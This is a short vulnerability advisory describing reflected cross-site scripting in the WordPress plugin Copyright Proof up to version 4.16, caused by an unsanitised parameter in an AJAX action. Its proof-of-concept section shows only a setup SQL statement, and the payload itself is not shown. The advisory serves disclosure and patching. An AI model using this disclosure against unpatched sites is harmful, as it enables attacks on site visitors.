WordPress Plugin Vulnerabilities

Copyright Proof <= 4.16 - Reflected Cross-Site-Scripting

Description

The plugin does not sanitise and escape a parameter before outputting it back via an AJAX action available to both unauthenticated and authenticated users, leading to a Reflected Cross-Site Scripting when a specific setting is enabled.

Proof of Concept

To make it easier to verify the vulnerability without the need of registering an account within the plugin's settings, set the "dprv_record_IP" option to "on" in the database:
UPDATE wp_options SET option_value = 'on' WHERE option_name = 'dprv_record_IP';
